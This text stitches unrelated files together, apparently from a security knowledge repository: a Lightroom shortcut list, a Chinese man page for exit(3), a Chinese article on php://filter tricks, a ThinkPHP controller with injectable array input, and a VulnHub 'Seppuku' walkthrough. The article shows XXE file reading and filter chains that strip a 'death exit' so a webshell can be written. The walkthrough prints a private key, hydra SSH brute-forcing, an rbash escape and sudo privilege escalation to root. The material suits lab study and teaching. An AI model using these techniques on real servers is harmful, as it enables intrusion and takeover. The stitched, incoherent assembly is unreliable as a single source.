`Ctrl` `Shift` `0-5` | Open/close left panels, top to bottom
`Ctrl` `0-9` | Open/close right panels, Library and Develop modules, top to bottom
`Ctrl` `1-7` | Open/close right panels, Slideshow, Print, and Web modules, top to bottom
{.shortcuts}
### Navigating modules
Shortcut | Action
---|---
`Ctrl` `Alt` `1` | Go to Library module
`Ctrl` `Alt` `2` | Go to Develop module
`Ctrl` `Alt` `3` | Go to Slideshow module
`Ctrl` `Alt` `4` | Go to Print module
`Ctrl` `Alt` `5` | Go to Web module
`Ctrl` `Alt` `Left/Right` | Go back/go forward
`Ctrl` `Alt` `Up` | Go back to previous module
{.shortcuts}
### Using a secondary window
Shortcut | Action
---|---
`F11` | Open secondary window
`Shift` `G` | Enter Grid view
`Shift` `E` | Enter normal Loupe view
`Ctrl` `Shift` `Enter` | Enter locked Loupe view
`Shift` `C` | Enter Compare view
`Shift` `N` | Enter Survey view
`Ctrl` `Alt` `Shift` `Enter` | Enter Slideshow view
`Shift` `F11` | Enter full-screen mode (requires second monitor)
`Shift` `\` | Show/hide Filter bar
`Ctrl` `Shift` `+/-` | Zoom in/out
{.shortcuts}
### Working in the Develop module {.row-span-3}
Shortcut | Action
---|---
`V` | Convert to grayscale
`Ctrl` `U` | Auto tone
`Ctrl` `Shift` `U` | Auto white balance
`Ctrl` `E` | Edit in Photoshop
`Ctrl` `Shift` `C/V` | Copy/paste Develop settings
`Ctrl` `Alt` `V` | Paste settings from previous photo
`Ctrl` `Alt` `Shift` `Left` | Copy After settings to Before
`Ctrl` `Alt` `Shift` `Right` | Copy Before settings to After
`Ctrl` `Alt` `Shift` `Up` | Swap Before and After settings
`Up/Down` | Increase/decrease selected slider in small increments
`Shift` `Up/Down` | Increase/decrease selected slider in larger increments
`./,` | Cycle through Basic panel settings (forward/backward)
`(double-click slider name)` | Reset a slider
`Alt` `(click group name)` | Reset a group of sliders
`Ctrl` `Shift` `R` | Reset all settings
`Ctrl` `Shift` `S` | Sync settings
`Ctrl` `Alt` `S` | Sync settings bypassing Synchronize Settings dialog box
`Ctrl` `(click Sync button)` | Toggle Auto Sync
`Ctrl` `Alt` `Shift` `A` | Enable Auto Sync
`Ctrl` `Alt` `Shift` `M` | Match total exposures
`W` | Select White Balance tool (from any module)
`R` | Select the Crop tool (from any module)
`A` | Contrain aspect ratio when Crop tool is selected
`Shift` `A` | Crop to same aspect ratio as previous crop
`Alt` `(drag)` | Crop from center of photo
`O` | Cycle Crop grid overlay
`Shift` `O` | Cycle Crop grid overlay orientation
`X` | Switch crop between portrait and landscape orientation
`Ctrl` `Alt` `R` | Reset crop
`Shift` `T` | Select the Guided Upright tool
`Q` | Select the Sopt Removal tool
`Shift` `T` | Toggle Brush between Clone and Heal modes when Spot Removal tool is selected
`K` | Select the Adjustment Brush tool (from any module)
`M` | Select the Graduated Filter tool
`Shift` `T` | Toggle Mask between Edit and Brush modes when the Graduated/Radial Filter is selected
`]/[` | Increase/decrease brush size
`Shift` `]/[` | Increase/decrease brush feathering
`/` | Switch between local adjustment brush A and B
`Alt` `(drag)` | Temporarily switch from brush A or B to Eraser
`Shift` `(drag)` | Paint a horizontal or vertical line
`H` | Show/hide local adjustment pin
`O` | Show/hide local adjustment mask overlay
`Shift` `O` | Cycle local adjustment mask overlay colors
`Ctrl` `Alt` `Shift` `T` | Select Targeted Adjustment tool to apply a Tone Curve adjustment
`Ctrl` `Alt` `Shift` `H` | Select Targeted Adjustment tool to applay a Hue adjustment
`Ctrl` `Alt` `Shift` `S` | Select Targeted Adjustment tool to apply a Saturation adjustment
`Ctrl` `Alt` `Shift` `L` | Select Targeted Adjustment tool to apply a Luminance adjustment
`Ctrl` `Alt` `Shift` `G` | Select Targeted Adjustment tool to apply a Grayscale Mix adjustment
`Ctrl` `Alt` `Shift` `N` | Deselect Targeted Adjustment tool
`J` | Show clipping
`Ctrl` `]` | Rotate photo right (clockwise)
`Ctrl` `[` | Rotate photo left (counterclockwise)
`Space/Z` | Toggle between Loupe and 1:1 Zoom preview
`Ctrl` `+/-` | Zoom in/out
`Ctrl` `Enter` | Play impromptu slide show
`Y` | View Before and After left/right
`Alt` `Y` | View Before and After top/bottom
`Shift` `Y` | View Before and After in a split screen
`\` | View Before only
`Ctrl` `N` | Create a new snapshot
`Ctrl` `Shift` `N` | Create a new preset
`Ctrl` `Alt` `N` | Create a new preset folder
`Ctrl` `J` | Open Develop view options
{.shortcuts}
### Changing view and screen modes
Shortcut | Action
---|---
`E` | Enter Library Loupe view
`G` | Enter Library Grid view
`C` | Enter Library Compare view
`N` | Enter Library Survey view
`D` | Open selected photo in the Develop module
`L` | Cycle forward through Lights Out modes
`Shift` `L` | Cycle backward through Lights Out modes
`Ctrl` `Shift` `L` | Toggle Lights Dim mode
`F` | Cycle screen modes
`Ctrl` `Shift` `F` | Switich between Normal and full-screen, hide panels
`Ctrl` `Alt` `F` | Go to Normal screen mode
`I` | Cycle info overlay
`Ctrl` `I` | Show/hide info overlay
{.shortcuts}
### Managing photos and catalogs
Shortcut | Action
---|---
`Ctrl` `Shift` `I` | Import photos from disk
`Ctrl` `O` | Open catalog
`Ctrl` `,` | Open Preferences
`Ctrl` `Alt` `,` | Open Catalog Settings
`Ctrl` `Shift` `T` | Create new subfolder (segmented tethered capture)
`Ctrl` `T` | Hide/show tether capture bar
`Ctrl` `Shift` `N` | Create a new folder in the Library module
`Ctrl` `'` | Create virtual copy (Library and Develop module only)
`Ctrl` `R` | Show in Explorer/Finder (Library and Develop module only)
`Right/Left` | Go to next/previous photo in the Filmstrip
`Shift/Ctrl` `Click` | Select multiple folders or collections (in Library, Slideshow, Print, and Web modules)
`F2` | Rename photo (in Library module)
`Delete` | Delete selected photo(s)
`Alt` `Backspace` | Remove selected photo(s) from catalog
`Ctrl` `Alt` `Shift` `Backspace` | Delete selected photo(s) and move to Trash
`Ctrl` `Backspace` | Delete rejected photo(s)
`Ctrl` `E` | Edit in Photoshop
`Ctrl` `Alt` `E` | Open in other editor
`Ctrl` `Shift` `E` | Export selected photo(s)
`Ctrl` `Alt` `Shift` `E` | Export with previous settings
`Ctrl` `Alt` `Shift` `,` | Open plug-in manager
`Ctrl` `P` | Print selected photo
`Ctrl` `Shift` `P` | Open Page Setup dialog box
{.shortcuts}
### Comparing photos in the Library module
Shortcut | Action
---|---
`E/Enter` | Switch to Loupe view
`G/Esc` | Switch to Grid view
`C` | Switch to Compare view
`N` | Switch to Survey view
`Space/E` | Switch from Grid to Loupe view
`Down` | Swap select and candidate photos in Compare view
`Up` | Make next photos select and candidate in Compare view
`Z` | Toggle Zoom view
`Ctrl` `+/-` | Zoom in/out in Loupe view
`PgUp/PgDown` | Scroll up/down zoomed photo in Loupe view
`Home/End` | Go to beginning/end of Grid view
`Ctrl` `Enter` | Play impromptu slide show
`Ctrl` `]` | Rotate photo right (clockwise)
`Ctrl` `[` | Rotate photo left (counterclockwise)
`=/-` | Increase/decreate Grid thumbnail size
`PgUp/PgDown` | Scroll up/down Grid thumbnails
`Ctrl` `Shift` `H` | Toggle cell extras
`Ctrl` `Alt` `Shift` `H` | Show/hide badges
`J` | Cycle Grid views
`Ctrl` `J` | Open Library view options
`Ctrl` `(click)` | Select multiple discrete photos
`Shift` `(click)` | Select multiple contiguous photos
`Ctrl` `A` | Select all photos
`Ctrl` `D` | Deselect all photos
`Ctrl` `Shift` `D` | Select only active photo
`/` | Deselect active photo
`Shift` `Left/Right` | Add previous/next photo to selection
`Ctrl` `Alt` `A` | Select flagged photos
`Ctrl` `Alt` `Shift` `D` | Deselect unflagged photos
`Ctrl` `G` | Group into stack
`Ctrl` `Shift` `G` | Unstack
`S` | Toggle stack
`Shift` `S` | Move to top of stack
`Shift` `[` | Move up in stack
`Shift` `]` | Move down in stack
{.shortcuts}
### Rating and filtering photos
Shortcut | Action
---|---
`1-5` | Set star rating
`Shift` `1-5` | Set star rating and go to next photo
`0` | Remove star rating
`Shift` `0` | Remove star rating and go to next photo
`]/[` | Increase/decrease rating by one star
`6` | Assign a red label
`7` | Assign a yellow label
`8` | Assign a green label
`9` | Assign a blue label
`Shift` `6-9` | Assign a color label and go to next photo
`P` | Flag photo as a pick
`Shift` `P` | Flag photo as a pick and go to next photo
`X` | Flag photo as a reject
`Shift` `X` | Flag photo as a reject and go to next photo
`U` | Unflag photo
`Shift` `U` | Unflag photo and go to next photo
`Ctrl` `Up/Down` | Increase/decrease flag status
<code>\`</code> | Cycle flag settings
`Ctrl` `Alt` `R` | Refine photos
`\` | Show/hide Library Filter bar
`Shift` `(click filter labels)` | Open multiple filters in the Filter bar
`Shift` `L` | Toggle filters on/off
`Ctrl` `F` | Find photo in the Library module
{.shortcuts}
### Working with collections
Shortcut | Action
---|---
`Ctrl` `N` | Create a new collection in the Library module
`B` | Add to Quick Collection
`Shift` `B` | Add to Quick Collection and go to next photo
`Ctrl` `B` | Show Quick Collection
`Ctrl` `Alt` `B` | Save Quick Collection
`Ctrl` `Shift` `B` | Clear Quick Collection
`Ctrl` `Alt` `Shift` `B` | Set as target collection
{.shortcuts}
### Working with metadata and keywords in the Library module
Shortcut | Action
---|---
`Ctrl` `K` | Add keywords
`Ctrl` `Shift` `K` | Edit keywords
`Ctrl` `Alt` `Shift` `K` | Set a keyword shortcut
`Shift` `K` | Add/remove keyword shortcut from selected photo
`Ctrl` `Alt` `K` | Enable painting
`Alt` `1-9` | Add a keyword from a keyword set to selected photo
`Alt` `0` | Cycle forward through keyword sets
`Alt` `Shift` `0` | Cycle backword through keyword sets
`Ctrl` `Alt` `Shift` `C/V` | Copy/paste metadata
`Ctrl` `S` | Save metadata to file
{.shortcuts}
### Working in the Slideshow module
Shortcut | Action
---|---
`Enter` | Play slide show
`Ctrl` `Enter` | Play impromptu slide show
`Space` | Pause slide show
`Alt` `Enter` | Preview slide show
`Esc` | End slide show
`Right` | Go to next slide
`Left` | Go to previous slide
`Ctrl` `]` | Rotate photo right (clockwise)
`Ctrl` `[` | Rotate photo left (counterclockwise)
`Ctrl` `Shift` `H` | Show/hide guides
`Ctrl` `J` | Export PDF slide show
`Ctrl` `Shift` `J` | Export JPEG slide show
`Ctrl` `Alt` `J` | Export video slide show
`Ctrl` `N` | Create a new slide show template
`Ctrl` `Shift` `N` | Create a new slide show template folder
`Ctrl` `S` | Save slide show settings
{.shortcuts}
### Working in the Print module
Shortcut | Action
---|---
`Ctrl` `P` | Print
`Ctrl` `Alt` `P` | Print one copy
`Ctrl` `Shift` `P` | Open Page Setup dialog box
`Ctrl` `Alt` `Shift` `P` | Open Print Settings dialog box
`Ctrl` `Shift` `Left` | Go to first page
`Ctrl` `Shift` `Right` | Go to last page
`Ctrl` `Left` | Go to previous page
`Ctrl` `Right` | Go to next page
`Ctrl` `Shift` `H` | Show/hide guides
`Ctrl` `R` | Show/hide rulers
`Ctrl` `Shift` `J` | Show/hide page bleed
`Ctrl` `Shift` `M` | Show/hide margins and gutters
`Ctrl` `Shift` `K` | Show/hide image cells
`Ctrl` `Shift` `U` | Show/hide dimensions
`Ctrl` `Enter` | Play impromptu slide show
`Ctrl` `]` | Rotate photo right (clockwise)
`Ctrl` `[` | Rotate photo left (counterclockwise)
`Ctrl` `N` | Create a new print template
`Ctrl` `Shift` `N` | Create a new print template folder
`Ctrl` `S` | Save print settings
{.shortcuts}
### Working in the Web module
Shortcut | Action
---|---
`Ctrl` `R` | Reload web gallery
`Ctrl` `Alt` `P` | Preview in browser
`Ctrl` `Enter` | Play impromptu slide show
`Ctrl` `J` | Export web gallery
`Ctrl` `N` | Create a new web gallery template
`Ctrl` `Shift` `N` | Create a new web gallery template folder
`Ctrl` `S` | Save web gallery settings
{.shortcuts}
### Using help
Shortcut | Action
---|---
`Ctrl` `/` | Display current module shortcuts
`(click)` | Hide current module shortcuts
`Ctrl` `Alt` `/` | Go to current module Help
`F1` | Open Community Help
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Adobe Lightroom CC](https://helpx.adobe.com/lightroom/help/keyboard-shortcuts.html) _(helpx.adobe.com)_
|
sec-knowleage
|
原文 by PHITH0N
## 一、XXE中的使用
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误 parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,`<?php ... ?>`这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到`php://filter`。
`php://filter` 是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出: `readfile("php://filter/read=convert.base64-encode/resource=php://input");`
如下:

所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用`php://filter`协议流处理一遍,这样就能有效规避特殊字符造成混乱。
如下,我们使用的是`php://filter/read=convert.base64-encode/resource=./xxe.php`

## 二、巧用编码与解码
使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。
记得前段时间三个白帽有个比赛,其中有一部分代码大概类似于以下:
``` php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
```
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上`if(!defined(xxx))exit;`之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?
幸运的是,这里的`$_POST['filename']`是可以控制协议的,我们即可使用 `php://filter`协议来施展魔法:
使用`php://filter`流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
`$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);`
`base64_decode($_GET['txt']);`
所以,当$content被加上了`<?php exit; ?>`以后,我们可以使用 `php://filter/write=convert.base64-decode` 来首先对其解码。在解码的过程中,字符`<`、`?`、`;`、`>`、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是`<?php exit; ?>`没有了。
最后效果是 :

## 三、利用字符串操作方法
有的同学说,base64的算法我不懂,上面的方法太复杂了。
其实,除了使用base64特性的方法外,我们还可以利用`php://filter`字符串处理方法来去除“死亡exit”。我们观察一下,这个`<?php exit; ?>`实际上是什么?
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而`php://filter`刚好是支持这个方法的。
编写如下测试代码即可查看 `php://filter/read=string.strip_tags/resource=php://input` 的效果:
`echo readfile('php://filter/read=string.strip_tags/resource=php://input');`

可见,`<?php exit; ?>`被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。
万幸的是,`php://filter`允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。
最终的数据包如下:

除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。`<?php exit; ?>`在经过rot13编码后会变成`<?cuc rkvg; ?>`,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

当然,这个方法的条件就是不开启短标签。
## Reference
[谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)
|
sec-knowleage
|
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}
}
|
sec-knowleage
|
.\" Copyright (C) 2001 Andries Brouwer <aeb@cwi.nl>.
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.TH EXIT 3 2001-11-17 "" "Linux Programmer's Manual"
.SH NAME
exit \- 使程序正常中止
.SH "SYNOPSIS 总览"
.nf
.B #include <stdlib.h>
.sp
.BI "void exit(int " status );
.fi
.SH "DESCRIPTION 描述"
函数 \fBexit()\fP 使得程序正常中止,\fIstatus & 0377\fP 的值被返回给父进程 (参见
.BR wait (2))
。所有用 \fBatexit()\fP 和 \fBon_exit()\fP 注册的函数都以与注册时相反的顺序被依次执行。使用 \fItmpfile()\fP 创建的文件被删除。
.LP
C 标准定义了两个值 \fIEXIT_SUCCESS\fP 和 \fIEXIT_FAILURE\fP,可以作为 \fBexit()\fP 的参数,来分别指示是否为成功退出。
.SH "RETURN VALUE 返回值"
函数 \fBexit()\fP 不会返回。
.SH "CONFORMING TO 标准参考"
SVID 3, POSIX, BSD 4.3, ISO 9899 (``ANSI C'')
.SH "NOTES 要点"
在 exit 处理过程中,可能会使用 \fBatexit()\fP 和 \fBon_exit()\fP 注册其他的函数。通常,最后注册的函数被从已注册函数链中摘下来,然后执行。如果在处理过程中,又调用了 \fBexit()\fP 或 \fBlongjmp()\fP,那么发生的行为是未定义的。
.LP
相对于使用 0 和非零值 1 或 \-1,使用 EXIT_SUCCESS 和 EXIT_FAILURE 可以稍微增加一些可移植性 (对非 Unix 环境)。特别的,VMS 使用一种不同的约定。
.LP
BSD 试图标准化退出代码 - 参见文件
.IR <sysexits.h>
。
.LP
\fBexit()\fP 之后,退出状态必须传递给父进程。这里有三种情况。如果父进程已设置了 SA_NOCLDWAIT,或者已将 SIGCHLD 的处理句柄设置成了 SIG_IGN,这个状态将被忽略。这时要退出的进程立即消亡。如果父进程没有表示它对退出状态不感兴趣,仅仅是不再等待,那么要退出的程序变成一个僵尸进程 (``zombie'',除了包含一个字节的退出状态外,什么也不是)。这样在父进程后来调用 \fIwait()\fP 函数族之一时,可以得到退出状态。
.LP
如果所用实现支持 SIGCHLD 信号,信号将被发送到父进程。如果父进程已设置了 SA_NOCLDWAIT,它被取消定义。(?)
.LP
如果进程是一个 session leader,它的控制终端是会话的控制终端,那么这个终端的前台进程组的每个进程都将收到 SIGHUP 信号;终端将与这个会话断开,可以再被一个新的控制进程获得。
.LP
如果进程的退出使得一个进程组成为孤儿,并且这个新近成为孤儿的进程组中任何的进程被中止,进程组中所有的进程将依次收到 SIGHUP 和 SIGCONT 信号。
.SH "SEE ALSO 参见"
.BR _exit (2),
.BR wait (2),
.BR atexit (3),
.BR on_exit (3),
.BR tmpfile (3)
|
sec-knowleage
|
# Seppuku
> https://download.vulnhub.com/seppuku/Seppuku.zip
靶场IP:`192.168.2.139`
扫描对外端口服务
```
┌──(root💀kali)-[~]
└─# nmap -p1-65535 -sV 192.168.2.139
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-13 08:06 EDT
Nmap scan report for 192.168.2.139
Host is up (0.00077s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
7080/tcp open ssl/http LiteSpeed httpd
7601/tcp open http Apache httpd 2.4.38 ((Debian))
8088/tcp open http LiteSpeed httpd
MAC Address: 00:0C:29:6E:A5:CE (VMware)
Service Info: Host: SEPPUKU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.73 seconds
```
FTP不支持匿名登陆
```
┌──(root💀kali)-[~]
└─# ftp 192.168.2.139
Connected to 192.168.2.139.
220 (vsFTPd 3.0.3)
Name (192.168.2.139:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
```
访问80端口

访问7080端口

访问7601

访问8088

爆破目录
```
┌──(root💀kali)-[~]
└─# dirb http://192.168.2.139:7601 255 ⨯
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 13 08:18:07 2022
URL_BASE: http://192.168.2.139:7601/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.139:7601/ ----
==> DIRECTORY: http://192.168.2.139:7601/a/
==> DIRECTORY: http://192.168.2.139:7601/b/
==> DIRECTORY: http://192.168.2.139:7601/c/
==> DIRECTORY: http://192.168.2.139:7601/ckeditor/
==> DIRECTORY: http://192.168.2.139:7601/d/
==> DIRECTORY: http://192.168.2.139:7601/database/
==> DIRECTORY: http://192.168.2.139:7601/e/
==> DIRECTORY: http://192.168.2.139:7601/f/
==> DIRECTORY: http://192.168.2.139:7601/h/
+ http://192.168.2.139:7601/index.html (CODE:200|SIZE:171)
==> DIRECTORY: http://192.168.2.139:7601/keys/
==> DIRECTORY: http://192.168.2.139:7601/production/
==> DIRECTORY: http://192.168.2.139:7601/q/
==> DIRECTORY: http://192.168.2.139:7601/r/
==> DIRECTORY: http://192.168.2.139:7601/secret/
+ http://192.168.2.139:7601/server-status (CODE:403|SIZE:280)
==> DIRECTORY: http://192.168.2.139:7601/t/
==> DIRECTORY: http://192.168.2.139:7601/w/
```
访问:`/keys/`

```
┌──(root💀kali)-[~]
└─# curl http://192.168.2.139:7601/keys/private
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAypJlwjKXf0F4YvL2gfwvoUuvB7fuGMMfCe41gLCsTsleOUy2
CJX+oNwVVKPpl6TYI4nXPGbiwfGzoxm0FZa7D9yr83OgwuvMMp83OkVcwL9v+x7a
tK8AAVZ0NjvOPGkvEhB2rPS2mKg1xRKXCM7pA0KSOoDbk9coOpadjg4G0f1YPWrw
p6iLfIErfY2+5hS7QyTQpuRmHuR4eKLF1NFRp8gYuNCVtr0n2Uu6hWuI7RWBGQZJ
Joj8LKjfRRYmKGpyqiGTdRy+8yCyAuT55shuCzXuc+/3HE2jACOD8+pSPKjwxzm4
fuaSfBTUkHfyhiSKIkop2YfIDLKRPM8dGn5zuQIDAQABAoIBADM+s7Vb3Q1ZP54w
foHFjTsNjVqzge0Lt1doxmomx4Aq2sY+DLLBVyfUZSUDTj2JexAKd8OU93o+rcXt
46uudOX/WhR9RMbqpb6MnokEMQGlrCtn08Xvm127RCzQFk0cAsdcGNmKEoMt0mRn
XoPg6/tiJOHd5S5SOKARqAveqoUGUYI3xgsiRpj8CCRIDUgHi9J0++qUeauVw3m3
lvyTnUTw0uf5+sRkI173CUY+ygJapGM7Lg59xzcjEq5H4so0IztQo3o/pOIfeS6W
bqIpY7D63YBGLgpi9JcN/d2bSfafkfhcrAcjPjRXwEFPmYjMbsTBOKcTtCSDVo6/
ho6fTl0CgYEA9F1uIkqxFKIMt2/uK4/1gPOXy/1cjxcsFoah0Ql7d0gj26H6AgXk
nPncIoO1kojPnB+TUy4qz+Bd7teDbkHSaWNJYIVJZQbvskstwgL4+XamiWrJA/Jp
h7y0I0zRxCMBj5yhBNrp6P+f8vtVMpjbKV17jfe6aakfyuayPugHHh8CgYEA1DeM
4lR/+/fUbxtws+aTx8h9TwisYq38D39KNsWkynnb+9pnLCbVbVETtv4sfD/aQfah
R7CxOG+mD4Vryjpk/wwzZeUDzcQpiTx4RsgP6MkFU8knORKfBdimaUpiasWlNWgy
caXR/iA6EmA4jht8vf/+UOUV8GXV9VqDIWUhgycCgYEAvJaGcqyWMUhG7CLT+oal
f5l/Iw0rq7rEabYJmBvrT0k7czt0iK8nmgYy3+gp7ybqoqCzwFQ28itEExn78tGV
o4Pek0EKPY+22TCv5bUJlOz+5bql3AfvbbQyibO1h9tETyMgGXEhaJIvTQSu4deZ
/DiLLCttkDHXuW2FTosfQx0CgYEAkhGOSjapRRBHSxaTE3Cw5UFNZvnsVZu1tCEE
PwD5NVh9HzQr8YrlOnIk5L68deUpYF/WkNbAlLzcizBlifN5kseeFRN188qCYHCb
xPRtZuf+X7ZD5he4FzkRCcXmSeGynjkTB4CAMq+R6RYLt1yaFtk9/gZAfJBLna5o
NbM7Rt8CgYA5oPRfIpKZ5G9LJEAsBUONgBsrpXs+816ZEvBGsqPs/NPhhZMFetKm
RXxYAiEUudMsahP4Woeuxy8kWfM2J2ltwC/HRFuKnKfsHBhsn/FilspYfrafr985
tFnL/K9Z8le1saEGjwCu6zKto7CaFjj2D4Y9ji0sHGBO+tVbtmU/Jg==
-----END RSA PRIVATE KEY-----
```
访问:`/secret/`

```
┌──(root💀kali)-[~]
└─# curl http://192.168.2.139:7601/secret/hostname
seppuku
```
```
──(root💀kali)-[/tmp]
└─# wget http://192.168.2.139:7601/secret/password.lst
```
对`seppuku`用户爆破
```
┌──(root💀kali)-[/tmp]
└─# hydra -l seppuku -P password.lst ssh://192.168.2.139
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-13 08:22:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 93 login tries (l:1/p:93), ~6 tries per task
[DATA] attacking ssh://192.168.2.139:22/
[22][ssh] host: 192.168.2.139 login: seppuku password: eeyoree
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-13 08:23:01
```
ssh登录
```
┌──(root💀kali)-[/tmp]
└─# ssh seppuku@192.168.2.139
seppuku@192.168.2.139's password:
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 13 10:52:41 2020 from 192.168.1.48
seppuku@seppuku:~$ id
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
```
查看sudo列表
```
seppuku@seppuku:~$ sudo -l
Matching Defaults entries for seppuku on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seppuku may run the following commands on seppuku:
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
```
查看:`.passwd`
```
seppuku@seppuku:~$ ls -al
total 32
drwxr-xr-x 3 seppuku seppuku 4096 May 13 2020 .
drwxr-xr-x 5 root root 4096 May 13 2020 ..
-rw------- 1 seppuku seppuku 8 May 13 2020 .bash_history
-rw-r--r-- 1 seppuku seppuku 220 May 13 2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13 2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13 2020 .gnupg
-rw-r--r-- 1 root root 20 May 13 2020 .passwd
-rw-r--r-- 1 seppuku seppuku 807 May 13 2020 .profile
seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A
```
rbash需要转义
```
seppuku@seppuku:~$ cd /home
-rbash: cd: restricted
seppuku@seppuku:~$
```
```
──(root💀kali)-[/tmp]
└─# ssh seppuku@192.168.2.139 -t bash
seppuku@192.168.2.139's password:
```
切换到`samurai`用户
```
seppuku@seppuku:/home$ su samurai
Password:
samurai@seppuku:/home$
samurai@seppuku:/home$ sudo -l
Matching Defaults entries for samurai on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```
如果您还记得我们在执行目录暴力破解时枚举了私钥,这里我复制了在 dirb 扫描期间在 key 中找到的私有文件的内容,并将其保存到一个名为 sshkey 的空文件中,具有 chmod 600 权限。
```
┌──(root💀kali)-[/tmp]
└─# ssh -i id_rsa tanto@192.168.2.139 -t bash
```
以 tanto 登录后,我们寻找将通过 sudo 用户执行的 `.cgi_bin` 目录,但不幸的是,我无法找到该目录,因此我创建了一个目录为 `.cgi_bin` 并将 bash 脚本保存在名为"bin"的文件中" 通过它获取 bash shell。
```
mkdir .cgi_bin
cd .cgi_bin/
echo "/bin/bash" > bin
chmod 777 bin
ls -la
```

现在是时候利用 `.cgi_bin` 程序了,因此我们再次登录为 Samurai 并运行以下命令并获取 root shell 并通过捕获 root 标志完成挑战

|
sec-knowleage
|
# HexInject
## HexInject软件包介绍
